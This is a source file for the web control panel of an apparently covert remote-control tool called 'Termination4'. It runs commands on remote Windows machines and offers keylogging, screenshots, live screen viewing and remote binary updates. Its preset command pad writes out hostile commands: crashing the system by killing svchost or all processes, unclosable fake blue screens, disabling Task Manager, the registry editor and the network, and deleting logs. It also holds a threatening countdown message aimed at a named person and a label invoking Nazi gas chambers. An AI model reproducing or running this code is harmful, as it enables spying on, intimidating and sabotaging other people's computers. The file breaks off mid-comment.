Files
SMANAGE/backup/Manage/T4/card.html
T

1111 lines
60 KiB
HTML

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/css/font.css">
<link rel="stylesheet" href="/css/xadmin.css">
<link rel="stylesheet" href="/css/win10ui.css">
<link rel="stylesheet" href="/css/theme.css">
<link rel="stylesheet" href="/lib/layui/css/layui.css">
<link rel="stylesheet" href="/T4/css/task.css">
<link rel="stylesheet" href="/T4/css/hardware.css">
<link rel="stylesheet" href="/T4/css/font.css">
<link rel="stylesheet" href="/T4/css/chart.css">
<link rel="stylesheet" href="/T4/css/cmd.css">
<link rel="stylesheet" href="/T4/css/tools-icon-btn.css">
<script type="text/javascript" src="/lib/layui/layui.js" charset="utf-8"></script>
<script type="text/javascript" src="/js/xadmin.js"></script>
<script type="text/javascript" src="/T4/js/ansi_up/ansi_up.js"></script>
<script src="/assets/js/socket/Socket.IO.js"></script>
<script src="/assets/js/core/echarts.min.js"></script>
<script>window.breadcrumbs = [{name: "首页", url: ""},{name: "Termination4", url: ""},{name: "设备控制台"}];</script>
<script src="/js/address.bar.js"></script>
</head>
<body>
<div class="card-container">
<div class="card-column">
<div class="layui-card">
<div class="layui-card-header">Socket IO 连接状态</div>
<div class="layui-card-body">
<p>设备构建 ID: <span id="SocketIO_PCMachineGUID">加载中...</span></p>
<p>设备SocketIO链接 ID: <span id="SocketIO_SID">加载中...</span></p>
<p>设备SocketIO最后心跳: <span id="SocketIO_PCLastSynchronizationTime">加载中...</span></p>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header">硬件状态</div>
<div class="layui-card-body">
<div id="CPUChart"></div>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header">PCI 基本信息</div>
<div class="layui-card-body">
<p>注册T程序用户: <span id="PCI_PCreateUserName">加载中...</span></p>
<p>注册T程序电脑名称: <span id="PCI_PCName">加载中...</span></p>
<p>注册T程序版本: <span id="PCI_PCVersion">加载中...</span></p>
<p>注册T程序编译版本: <span id="PCI_PCompilation">加载中...</span></p>
<p>注册T程序时间: <span id="PCI_PCreateTime">加载中...</span></p>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header">sys 基本信息</div>
<div class="layui-card-body">
<p>操作系统平台: <span id="SYS_platform">加载中...</span></p>
<p>Python 解释器版本: <span id="SYS_version">加载中...</span></p>
<p>Python 16版本信息: <span id="SYS_hexversion">加载中...</span></p>
<p>最大整数值: <span id="SYS_maxsize">加载中...</span></p>
<p>最大 Unicode 值: <span id="SYS_maxunicode">加载中...</span></p>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header">os 基本信息</div>
<div class="layui-card-body">
<p>操作系统名称: <span id="OS_name">加载中...</span></p>
<p>当前登录用户: <span id="OS_login">加载中...</span></p>
<p>环境变量用户: <span id="OS_envlogin">加载中...</span></p>
<p>工作目录: <span id="OS_cwd">加载中...</span></p>
<p>CPU 核心数: <span id="OS_cpu_count">加载中...</span></p>
<p>当前进程 ID: <span id="OS_pid">加载中...</span></p>
<p>父进程 ID: <span id="OS_ppid">加载中...</span></p>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header">platform 基本信息</div>
<div class="layui-card-body">
<p>操作系统名称: <span id="PLATFORM_system">加载中...</span></p>
<p>网络名称: <span id="PLATFORM_node">加载中...</span></p>
<p>操作系统版本: <span id="PLATFORM_release">加载中...</span></p>
<p>操作系统详细信息: <span id="PLATFORM_version">加载中...</span></p>
<p>机器类型: <span id="PLATFORM_machine">加载中...</span></p>
<p>处理器信息: <span id="PLATFORM_processor">加载中...</span></p>
<p>Windows 版本信息: <span id="PLATFORM_win32_ver">加载中...</span></p>
<p>Python 构建信息: <span id="PLATFORM_python_build">加载中...</span></p>
<p>Python 编译器信息: <span id="PLATFORM_python_compiler">加载中...</span></p>
<p>Python 分支信息: <span id="PLATFORM_python_branch">加载中...</span></p>
<p>Python 实现: <span id="PLATFORM_python_implementation">加载中...</span></p>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header">ctypes 基本信息</div>
<div class="layui-card-body">
<p>Windows 版本: <span id="CTYPES_GetVersion">加载中...</span></p>
<p>系统启动后的毫秒数: <span id="CTYPES_GetTickCount">加载中...</span></p>
<p>系统启动后的毫秒数(64 位): <span id="CTYPES_GetTickCount64">加载中...</span></p>
<p>计算机名称: <span id="CTYPES_GetComputerName">加载中...</span></p>
<p>当前用户名: <span id="CTYPES_GetUserName">加载中...</span></p>
<p>系统目录: <span id="CTYPES_GetSystemDirectory">加载中...</span></p>
<p>Windows 目录: <span id="CTYPES_GetWindowsDirectory">加载中...</span></p>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header">socket 基本信息</div>
<div class="layui-card-body">
<p>主机名: <span id="SOCKET_hostname">加载中...</span></p>
<p>IP 地址: <span id="SOCKET_ip_address">加载中...</span></p>
<p>完全限定域名: <span id="SOCKET_fqdn">加载中...</span></p>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header">psutil 基本信息</div>
<div class="layui-card-body">
<p>CPU 逻辑核心数: <span id="PSUTIL_cpu_count">加载中...</span></p>
<p>系统启动时间: <span id="PSUTIL_boot_time">加载中...</span></p>
</div>
</div>
<br><br><br><br><br>
</div>
<style>
/* 极致紧凑布局 */
.layui-title {
display: flex;
align-items: center;
padding: 5px 0; /* 最小化标题区域高度 */
line-height: 1.2; /* 最小行高 */
}
.radio-card-container {
display: inline-flex;
align-items: center;
height: 24px; /* 固定容器高度 */
background-color: #f0f0f0;
border-radius: 3px;
margin-left: 10px;
}
.radio-card {
padding: 0 12px;
height: 100%;
line-height: 22px; /* 与容器高度匹配 */
font-size: 12px; /* 小号字体 */
border-radius: 2px;
border: 1px solid #ddd;
cursor: pointer;
transition: all 0.2s;
}
.radio-card.active {
background-color: #1E9FFF;
color: white;
border-color: #1E9FFF;
}
</style>
<div class="middle-card">
<div class="layui-card">
<div class="layui-card-header"><b>Termination 设备</b>控制台
<div class="radio-card-container">
<div class="radio-card active" data-value="Python">Python</div>
<div class="radio-card" data-value="Cmd">Cmd</div>
<div class="radio-card" data-value="PowerShell">PowerShell</div>
</div>
</div>
<div class="layui-card-body">
<div id="console-log-area" class="console-log-area">
<div class="console-log-area-bg"></div>
<pre id="console-log"></pre>
</div>
<div class="command-input-area">
<!--<input type="text" id="command-input" placeholder="此处可输入命令,按回车执行" class="layui-input" style="height: 30px; line-height: 30px; width: 95%;">-->
<div class="layui-input-inline"style="height: 30px; line-height: 30px; width: 90%;">
<input type="text" class="layui-input" type="text" id="command-input" placeholder="此处可输入命令,按回车执行">
</div>
<div class="layui-input-inline" style="width: 10%;">
<button class="layui-btn layui-btn-primary" func-id="sendcommand">提交</button>
</div>
</div>
<div class="tools-container">
<button class="tools-icon-btn" lay-tips="基本信息" func-id="INFO">
<i class="iconfont">&#xe6a4;</i><!--information-->
</button>
<button class="tools-icon-btn" lay-tips="重传SystemINFO" func-id="ReSystemINFO">
<i class="iconfont">&#xe6aa;</i><!--refresh-->
</button>
<button class="tools-icon-btn" lay-tips="文件浏览" func-id="File">
<i class="iconfont">&#xe83c;</i><!--folder-->
</button>
<button class="tools-icon-btn" lay-tips="远程更新" func-id="UpdateApp">
<i class="iconfont">&#xe71d;</i><!--share-->
</button>
<button class="tools-icon-btn" lay-tips="实时屏幕(RealTimeScreen)" func-id="RealTimeScreen">
<i class="iconfont">&#xe6da;</i><!--electronics-->
</button>
<button class="tools-icon-btn" lay-tips="设备截屏(Screenshot)" func-id="Screenshot">
<i class="iconfont">&#xe6a8;</i><!--pic-->
</button>
<button class="tools-icon-btn" lay-tips="设备受网络支配的本地时间任务表(WL3T)" func-id="BTIME">
<i class="iconfont">&#xe6a2;</i><!--form-->
</button>
<button class="tools-icon-btn" lay-tips="键鼠监听" func-id="KM">
<i class="iconfont">&#xe705;</i><!--office-->
</button>
<button class="tools-icon-btn" lay-tips="傀儡日志" func-id="LOG">
<i class="iconfont">&#xe6fc;</i><!--text-->
</button>
<button class="tools-icon-btn" lay-tips="关闭" func-id="end">
<i class="iconfont">&#xe69a;</i><!--close-->
</button>
<button class="tools-icon-btn" lay-tips="重启" func-id="reboot">
<i class="iconfont">&#xe6aa;</i><!--refresh-->
</button>
<button class="tools-icon-btn" lay-tips="输入辅助" func-id="InputCard">
<i class="iconfont">&#xe6b9;</i><!--add-->
</button>
</div>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header"><b>Termination 设备</b>硬件状态</div>
<div class="layui-card-body">
<div class="resource-container">
<!-- CPU Card -->
<div class="resource-card">
<div class="card-header">CPU 使用率</div>
<div class="progress-container">
<svg class="progress-circle" viewBox="0 0 120 120">
<circle class="progress-bg" cx="60" cy="60" r="50"></circle>
<circle class="progress-bar cpu-color" cx="60" cy="60" r="50" id="cpu-progress"></circle>
</svg>
<div class="progress-text" id="cpu-text">??%</div>
</div>
<div class="progress-info" id="cpu-info">占用: ???% / 核心: ???</div>
<div class="card-footer">最后更新: <span id="cpu-time">--:--:--</span></div>
</div>
<!-- Memory Card -->
<div class="resource-card">
<div class="card-header">内存 使用率</div>
<div class="progress-container">
<svg class="progress-circle" viewBox="0 0 120 120">
<circle class="progress-bg" cx="60" cy="60" r="50"></circle>
<circle class="progress-bar memory-color" cx="60" cy="60" r="50" id="memory-progress"></circle>
</svg>
<div class="progress-text" id="memory-text">??%</div>
</div>
<div class="progress-info" id="memory-info">占用: ??GB/??GB</div>
<div class="card-footer">最后更新: <span id="memory-time">--:--:--</span></div>
</div>
<!-- Network Card -->
<div class="resource-card">
<div class="card-header">网络 使用率</div>
<div class="progress-container">
<svg class="progress-circle" viewBox="0 0 120 120">
<circle class="progress-bg" cx="60" cy="60" r="50"></circle>
<circle class="progress-bar network-color" cx="60" cy="60" r="50" id="network-progress"></circle>
</svg>
<div class="progress-text" id="network-text">??%</div>
</div>
<div class="progress-info" id="network-info">上行: ??KB/s 下行: ??KB/s</div>
<div class="card-footer">最后更新: <span id="network-time">--:--:--</span></div>
</div>
</div>
</div>
</div>
<br><br><br><br><br>
</div>
<div class="card-column">
<div class="layui-card">
<div class="layui-card-header">进程</div>
<div class="layui-card-body">
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right" onclick="socket.emit('T4CMDCommand', {'PCMachineGUID': PCMachineGUID, 'work': 'ProcessINFO'});" title="刷新">
<i class="layui-icon layui-icon-refresh" style="line-height:30px"></i>
</a>
<div class="task-container" id="taskContainer"></div>
</div>
</div>
<br><br><br><br><br>
</div>
</div>
<script>
socket = io("/Termination4SocketIOSpace");
window.onload = function () {
var commandInput = document.getElementById('console-log');
var currentWidth = commandInput.offsetWidth;
commandInput.style.width = currentWidth + 'px';
fetch("https://www.gvsds.com/T4/API/CMD/GetT4PLT.api?PCMachineGUID=" + PCMachineGUID)
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.json();
})
.then(data => {
console.log('Response Data:', data);
document.getElementById('SocketIO_PCMachineGUID').textContent = data.PCMachineGUID;
document.getElementById('SocketIO_SID').textContent = data.PCSID;
document.getElementById('SocketIO_PCLastSynchronizationTime').textContent = data.PCLastSynchronizationTime;
})
.catch(error => {
console.error('Fetch error:', error);
});
fetch("https://www.gvsds.com/T4/API/CMD/GetT4ComputerSystemINFO.api?PCMachineGUID=" + PCMachineGUID)
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.json();
})
.then(data => {
console.log('Response Data:', data);
document.getElementById('PCI_PCreateUserName').textContent = data.PCI.PCreateUserName;
document.getElementById('PCI_PCName').textContent = data.PCI.PCName;
document.getElementById('PCI_PCVersion').textContent = data.PCI.PCVersion;
document.getElementById('PCI_PCompilation').textContent = data.PCI.PCompilation;
document.getElementById('PCI_PCreateTime').textContent = data.PCI.PCreateTime;
document.getElementById('SYS_platform').textContent = data.sys.platform;
document.getElementById('SYS_version').textContent = data.sys.version;
document.getElementById('SYS_maxsize').textContent = data.sys.maxsize;
document.getElementById('SYS_maxunicode').textContent = data.sys.maxunicode;
document.getElementById('SYS_hexversion').textContent = data.sys.hexversion;
document.getElementById('OS_name').textContent = data.os.name;
document.getElementById('OS_login').textContent = data.os.login;
document.getElementById('OS_envlogin').textContent = data.os.envlogin;
document.getElementById('OS_cwd').textContent = data.os.cwd;
document.getElementById('OS_cpu_count').textContent = data.os.cpu_count;
document.getElementById('OS_pid').textContent = data.os.pid;
document.getElementById('OS_ppid').textContent = data.os.ppid;
document.getElementById('PLATFORM_system').textContent = data.platform.system;
document.getElementById('PLATFORM_node').textContent = data.platform.node;
document.getElementById('PLATFORM_release').textContent = data.platform.release;
document.getElementById('PLATFORM_version').textContent = data.platform.version;
document.getElementById('PLATFORM_machine').textContent = data.platform.machine;
document.getElementById('PLATFORM_processor').textContent = data.platform.processor;
document.getElementById('PLATFORM_win32_ver').textContent = data.platform.win32_ver;
document.getElementById('PLATFORM_python_build').textContent = data.platform.python_build;
document.getElementById('PLATFORM_python_compiler').textContent = data.platform.python_compiler;
document.getElementById('PLATFORM_python_branch').textContent = data.platform.python_branch;
document.getElementById('PLATFORM_python_implementation').textContent = data.platform.python_implementation;
document.getElementById('CTYPES_GetVersion').textContent = data.ctypes.GetVersion;
document.getElementById('CTYPES_GetTickCount').textContent = data.ctypes.GetTickCount;
document.getElementById('CTYPES_GetTickCount64').textContent = data.ctypes.GetTickCount64;
document.getElementById('CTYPES_GetComputerName').textContent = data.ctypes.GetComputerName;
document.getElementById('CTYPES_GetUserName').textContent = data.ctypes.GetUserName;
document.getElementById('CTYPES_GetSystemDirectory').textContent = data.ctypes.GetSystemDirectory;
document.getElementById('CTYPES_GetWindowsDirectory').textContent = data.ctypes.GetWindowsDirectory;
document.getElementById('SOCKET_hostname').textContent = data.socket.hostname;
document.getElementById('SOCKET_ip_address').textContent = data.socket.ip_address;
document.getElementById('SOCKET_fqdn').textContent = data.socket.fqdn;
document.getElementById('PSUTIL_cpu_count').textContent = data.psutil.cpu_count;
document.getElementById('PSUTIL_boot_time').textContent = data.psutil.boot_time;
})
.catch(error => {
console.error('Fetch error:', error);
});
};
layui.use(['util', 'form', 'layer'], function () {
var form = layui.form;
var util = layui.util;
var layer = layui.layer;
var $ = layui.$;
var consoleLog = $('#console-log');
// 悬浮文字提示功能
$('.tools-icon-btn').on('mouseenter', function() {
var content = $(this).attr('lay-tips');
this.index = layer.tips('<div style="padding: 0px; font-size: 14px; color: #eee;">' + content + '</div>',
this, {
time: -1,
maxWidth: 280,
tips: [2, '#3A3D49']
});
}).on('mouseleave', function() {
layer.close(this.index);
});
// 初始化选中第一个选项
$('.radio-card').first().addClass('active');
$('.radio-card').on('click', function(){
$('.radio-card').removeClass('active');
$(this).addClass('active');
});
util.on('func-id', {
"INFO": function() {
layer.open({
type: 2, // page 层类型
skin: 'class-layer-radio-ui-custom',
area: ['90%', '90%'],
title: 'Termination 设备 基本信息',
shade: 0, // 遮罩透明度
maxmin: true, // 允许全屏最小化
anim: 0, // 0-6 的动画形式,-1 不开启
content: './TDINFO.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
});
},
"ReSystemINFO": function() {
socket.emit('T4CMDReSystemINFO', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID});
},
"File": function() {
layer.open({
type: 2, // page 层类型
skin: 'class-layer-radio-ui-custom',
area: ['90%', '90%'],
title: 'Termination 设备 文件系统',
shade: 0, // 遮罩透明度
maxmin: true, // 允许全屏最小化
anim: 0, // 0-6 的动画形式,-1 不开启
content: './Files/index.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID+'&Path=C:/',
});
},
"WTIME": function() {
layer.open({
type: 2, // page 层类型
skin: 'class-layer-radio-ui-custom',
area: ['90%', '90%'],
title: 'Termination 设备网络时间任务表 (W3T)',
shade: 0, // 遮罩透明度
maxmin: true, // 允许全屏最小化
anim: 0, // 0-6 的动画形式,-1 不开启
content: './TDINFO.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
});
},
"BTIME": function() {
layer.open({
type: 2, // page 层类型
skin: 'class-layer-radio-ui-custom',
area: ['90%', '90%'],
title: 'Termination 设备受网络支配的本地时间任务表 (WL3T)',
shade: 0, // 遮罩透明度
maxmin: true, // 允许全屏最小化
anim: 0, // 0-6 的动画形式,-1 不开启
content: './WL3T.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
});
},
"KM": function() {
layer.open({
type: 2, // page 层类型
skin: 'class-layer-radio-ui-custom',
area: ['90%', '90%'],
title: 'Termination 设备 键鼠监听',
shade: 0, // 遮罩透明度
maxmin: true, // 允许全屏最小化
anim: 0, // 0-6 的动画形式,-1 不开启
content: './key.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
});
},
"Screenshot": function() {
layer.open({
type: 2, // page 层类型
skin: 'class-layer-radio-ui-custom',
area: ['70%', '100%'],
title: 'Termination 设备 截屏 (Screenshot)',
shade: 0, // 遮罩透明度
maxmin: true, // 允许全屏最小化
anim: 0, // 0-6 的动画形式,-1 不开启
content: './Screenshot.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
});
},
"LOG": function() {
layer.open({
type: 2, // page 层类型
skin: 'class-layer-radio-ui-custom',
area: ['70%', '100%'],
title: 'Termination 日志 (Log)',
shade: 0, // 遮罩透明度
maxmin: true, // 允许全屏最小化
anim: 0, // 0-6 的动画形式,-1 不开启
content: './TLog.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
});
},
"RealTimeScreen": function() {
xadmin.add_tab_f("实时屏幕 - "+PCMachineGUID, "/T4/RealTimeScreen.html?PCMachineGUID="+PCMachineGUID);
},
"end": function() {
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "Python", "Command": "Termination._exit(0)"});
},
"reboot": function() {
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "Python", "Command": "Termination._reboot(0)"});
},
"sendcommand": function() {
sendcommand.call(document.getElementById('command-input'));
},
"UpdateApp": function() {
layer.prompt({
title: '更新文件地址(请注意,绝对确定地址正确,否则文件将被错误覆盖)',
formType: 0,
value: 'https://www.gvsds.com/FTP/Termination.bin',
maxlength: 300,
area: ['300px', '150px']
}, function(value, index){
layer.msg('开始依据[' + value + ']更新');
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "Update", "Command": value});
layer.close(index);
});
},
"InputCard": function() {
var inputPadContent = [
'<div style="padding: 20px;">',
'<div class="layui-btn-container">',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="">空输入</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.CountDown.FCDUI(10).start()">10秒倒计时</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.CountDown.FCDUI(600).start()">10分钟倒计时</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.CountDown.FCDUI(3600).start()">1小时倒计时</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.KONGBU.ScreenErrorSimulator()">KONGBUI演示</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.CountDown.FCDUI(seconds=60, text=\'Mr. Chen, You Know The Cost.\').start()">SaveChen计划演示</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /s /t 0\')">关机</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /r /t 0\')">重启</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /s /t 600\')">10分钟后关机</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /r /t 600\')">10分钟后重启</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /s /t 3600\')">1小时后关机</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /r /t 3600\')">1小时后重启</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'taskkill /f /im svchost.exe\')">Svchost蓝屏</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value=\'os.system("taskkill /f /fi \\"pid ne 1\\"")\'>纳粹毒气室式进程蓝屏</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'wininit.exe\')">Wininit蓝屏</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.OBlue.BlueScreenApp(Termination.Static_TTFile, Termination.Static_WAVFile, None).Run()">HA</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.Blue.BlueScreenApp().Run()">假蓝屏</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.Blue.BlueScreenApp(False).Run()">假蓝屏(不可关)</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegTaskmgrDis())">禁用任务管理器</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegTaskmgrEnable())">启用任务管理器</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegBgEnable())">禁用壁纸</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegBgEnable())">启用壁纸</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegEditDis())">禁用注册表编辑器</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegEditEnable())">启用注册表编辑器</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.GetWorkMod())">获取当前运行模式</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.IsService(Termination.__service_name__).status())">获取当前服务状态</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(dir(Termination))">获取当前核心结构列表</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(globals())">获取当前核心环境列表</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.PDir.Is_NeedWorkPath())">获取是否处于目标工作目录</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.DisableNetwork())">(注意!!!)关闭网络(注意!!!)</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.EnableNetwork())">启用网络</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.remove(Termination.__log_path__)">清除T.log</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.__lock__.IsSelfLock())">获取T_Lock锁是否锁定</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.__lock__.IsOtherLock())">获取T_Lock锁是否有其它锁</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.__lock__.lock())">锁定T_Lock锁</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.__lock__.unlock())">解锁T_Lock锁</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="ABUF=Thread_AutoRun.AutoRunSetup(Termination);Termination.TProcessManager.AddThread(ABUF);ABUF.start()">初始化服务</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.TWNT.ComputerINFO)">ComputerINFO</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'msg * \')">MSG</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TWNT.Level=">TWNT缩略图压缩等级调整</button>',
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TProcessManager.GetThread(\'Thread-\')">进程句柄获取</button>',
'</div>',
'</div>'
].join('');
var index = layer.open({
type: 1,
title: '请选择',
area: ['800px', '500px'],
shadeClose: true,
content: inputPadContent,
success: function(layero, index){
$(layero).find('.insert-btn').on('click', function(){
var value = $(this).attr('value'); // 获取value属性值
$('#command-input').val(value); // 将value值赋给输入框
layer.close(index);
});
}
});
},
});
var consoleLogArea = $('#console-log-area');
function sendcommand() {
var command = $(this).val();
if (command == "cls") {
document.getElementById("console-log").innerText="";
consoleLogArea.scrollTop(consoleLogArea[0].scrollHeight);
$(this).val('');
return;
};
if (command) {
console.log('T4 CMD Command', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": $('.radio-card.active').data('value'), "Command": command});
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": $('.radio-card.active').data('value'), "Command": command});
consoleLog.append('<span class="console-log">[' + new Date().toTimeString().slice(0, 8) + '] [' + $('.radio-card.active').data('value') + ']: ' + command + "</span>\n");
consoleLogArea.scrollTop(consoleLogArea[0].scrollHeight);
$(this).val('');
}
$(this).focus();
}
$('#command-input').keydown(function (e) {
if (e.keyCode === 13) {
sendcommand.call(this);
}
});
socket.on(PCMachineGUID + 'CMDMessage', (message) => {
var html = ansiToHtml(message);
consoleLog.append(html);
consoleLogArea.scrollTop(consoleLogArea[0].scrollHeight);
$(this).val('');
});
socket.on(PCMachineGUID + 'CMDConnect', (message) => {
console.log("COMConnect", message);
document.getElementById('SocketIO_PCMachineGUID').textContent = message["PCMachineGUID"];
document.getElementById('SocketIO_SID').textContent = message["PCSID"];
document.getElementById('SocketIO_PCLastSynchronizationTime').textContent = message["PCLastSynchronizationTime"];
});
});
function updateProgress(type, percent, time) {
var circle = document.getElementById(type + '-progress');
var text = document.getElementById(type + '-text');
var timeElement = document.getElementById(type + '-time');
// 计算stroke-dashoffset值 (314 = 2πr, r=50)
var offset = 314 - (314 * percent / 100);
circle.style.strokeDashoffset = offset;
// 更新文本
text.textContent = percent + '%';
// 更新时间
timeElement.textContent = time;
}
function alignFileSize(size) {
if (size <= 0) return 0;
const units = ['B', 'KB', 'MB', 'GB', 'TB'];
let exponent = Math.floor(Math.log10(size));
let alignedSize = Math.pow(10, exponent);
if (size > alignedSize) {
alignedSize = Math.pow(10, exponent + 1);
}
return alignedSize;
}
function roundFixed(num, digit = 2) {
if (!num) {
return 0;
}
if (typeof num !== 'number'){
return "NaN";
}
const parts = num.toString().split('.');
let integerPart = parts[0];
let decimalPart = parts[1];
if (parts.length <= 1){
return `${integerPart}.${'0'.repeat(digit)}`;
}
if (decimalPart.length > digit)
decimalPart = decimalPart.slice(0, digit); // 截取前 digit 位数
else
decimalPart.padEnd(digit, '0'); // 自动补0
return `${integerPart}.${decimalPart}`;
}
// 初始化图表
const HChart = echarts.init(document.getElementById('CPUChart'));
// 存储所有线条的数据
const chartData = {
timeData: [],
lines: {} // 存储每条线的数据 {lineName: {data: [], color: '', config: {}}}
};
// 图表配置
const option = {
title: {
text: '',
left: 'center'
},
tooltip: {
trigger: 'axis',
formatter: function(params) {
let result = params[0].axisValue + '<br/>';
params.forEach(item => {
result += `${item.marker} ${item.seriesName}: ${item.value}%<br/>`;
});
return result;
}
},
legend: {
data: [],
left: 'left'
},
grid: {
left: '3%',
right: '4%',
bottom: '3%',
containLabel: true
},
xAxis: {
type: 'category',
boundaryGap: false,
data: chartData.timeData,
name: '时间'
},
yAxis: {
type: 'value',
min: 0,
max: 100,
interval: 10,
axisLabel: {
formatter: '{value}%'
},
name: '使用率'
},
series: []
};
// 应用配置
HChart.setOption(option);
// 数据更新API
window.multiLineChart = {
/**
* 添加新的线条到图表中
* @param {string} lineName - 线条名称
* @param {string} color - 线条颜色 (十六进制或rgb)
* @param {object} [config] - 可选配置 {showArea: boolean, lineWidth: number, markLine: number, maxPoints: number}
*/
addLine: function(lineName, color, config = {}) {
if (chartData.lines[lineName]) {
console.warn(`线条 "${lineName}" 已存在`);
return;
}
// 默认配置
const defaultConfig = {
showArea: false,
lineWidth: 2,
markLine: null,
maxPoints: 15 // 默认最多显示15个点
};
const mergedConfig = {...defaultConfig, ...config};
// 存储线条数据
chartData.lines[lineName] = {
data: [],
color: color,
config: mergedConfig
};
// 创建series配置
const newSeries = {
name: lineName,
type: 'line',
data: [],
smooth: true,
lineStyle: {
width: mergedConfig.lineWidth
},
itemStyle: {
color: color
}
};
// 添加区域填充
if (mergedConfig.showArea) {
newSeries.areaStyle = {
color: new echarts.graphic.LinearGradient(0, 0, 0, 1, [
{ offset: 0, color: this._addAlphaToColor(color, 0.8) },
{ offset: 1, color: this._addAlphaToColor(color, 0.1) }
])
};
}
// 添加警戒线
if (mergedConfig.markLine !== null) {
newSeries.markLine = {
silent: true,
data: [{
yAxis: mergedConfig.markLine,
lineStyle: {
color: '#ff4500',
width: 1,
type: 'dashed'
},
label: {
formatter: lineName + '警戒线',
position: 'start'
}
}]
};
}
// 更新图表配置
const currentOption = HChart.getOption();
currentOption.legend[0].data.push(lineName);
currentOption.series.push(newSeries);
HChart.setOption(currentOption);
// 返回线条控制对象
return {
addData: (value) => this._addDataToLine(lineName, value),
remove: () => this.removeLine(lineName)
};
},
/**
* 向指定线条添加数据点
* @param {string} lineName - 线条名称
* @param {number} value - 数据值
* @param {string} [time] - 可选时间戳
